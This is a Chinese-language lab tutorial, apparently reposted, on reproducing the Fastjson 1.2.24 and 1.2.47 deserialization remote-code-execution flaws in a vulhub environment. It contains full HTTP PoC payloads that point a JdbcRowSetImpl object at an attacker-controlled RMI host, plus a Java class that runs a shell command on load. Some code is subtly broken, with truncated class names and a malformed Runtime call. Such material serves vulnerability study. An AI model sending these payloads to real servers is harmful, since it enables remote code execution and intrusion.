Fastjson1.2.24、47反序列化导致任意命令执⾏漏洞复现
Fastjson 1.2.24、47 反序列化导致任意命令执⾏漏洞复现
漏洞描述:
fastjson是⼀个java编写的⾼性能功能⾮常完善的JSON库,应⽤范围⾮常⼴,在github上star数都超过8k。
在2017年3⽉15⽇,fastjson官⽅主动爆出fastjson在1.2.24及之前版本存在远程代码执⾏⾼危安全漏洞。攻击者可以通过此漏洞远程执⾏恶意代码来⼊侵服务器。
于1.2.24版本后增加了反序列化⿊名单,⽽在1.2.48以前的版本中,攻击者可以利⽤特殊构造的json字符串绕过⿊名单检测,成功执⾏任意命令。
1.2.24影响范围:
fastjson <= 1.2.24
1.2.47影响范围:
fastjson <= 1.2.47
漏洞成因:
fastjson在解析json的过程中,⽀持使⽤@type字段来指定反序列化的类型,并调⽤该类的set/get⽅法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使⽬标应⽤的代码执⾏流程进⼊特定类的特定setter或者getter⽅法中,即可构造出⼀些恶意利⽤链。在Fastjson 1.2.47及以下版本中,利⽤其缓存机制可实现对未开启autotype功能的绕过。详细的原理分析:
漏洞POC:
1.2.24:
POST / HTTP/1.1
Host: 靶机ip:8090
Accept-Encoding: gzip, deflatefastjson忽略属性
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 164
{
"b":{
"@type":"wset.JdbcRowSetImpl",
"dataSourceName":"rmi://class⽂件所在地址:rmi监听端⼝/TouchFile",
"autoCommit":true
}
}
1.2.47:
{
"a":{
"@type":"java.lang.Class",
"val":"wset.JdbcRowSetImpl"
},
"b":{
"@type":"wset.JdbcRowSetImpl",
"dataSourceName":"rmi://class⽂件所在地址:rmi监听端⼝/TouchFile",
"autoCommit":true
}
}
参考⽂章:
环境搭建:
1. 开启vulhub中1.
2.24-rce的靶场环境,复现1.2.47就⽤对应的环境(1.2.47搭建过程与24相同,以下就以24为例),vulhub安装教程:,浏览器访问服务默认端⼝8090,即可看到JSON格式的输出
2. 接下来⽣成⼀个带命令执⾏代码的类,要求本地安装了java环境(我的版本是jdk1.8);将类⽂件放到外⽹上,要求安装Tomcat或Phpstudy(本次实验使⽤的是phpstudy⼯具)
先新建⼀个txt⽂件,将以下代码写⼊,保存重命名为TouchFile.java
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后cmd进⼊⽂件⽬录,javac编译⽣成TouchFile.class⽂件
javac TouchFile.java
接着将类⽂件放到外⽹上,将class⽂件放⼊phpstudy的WWW⽬录下,启动phpstudy开启Apache服务,浏览器访问class⽂件地址(此处为本地ip)/TouchFile

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。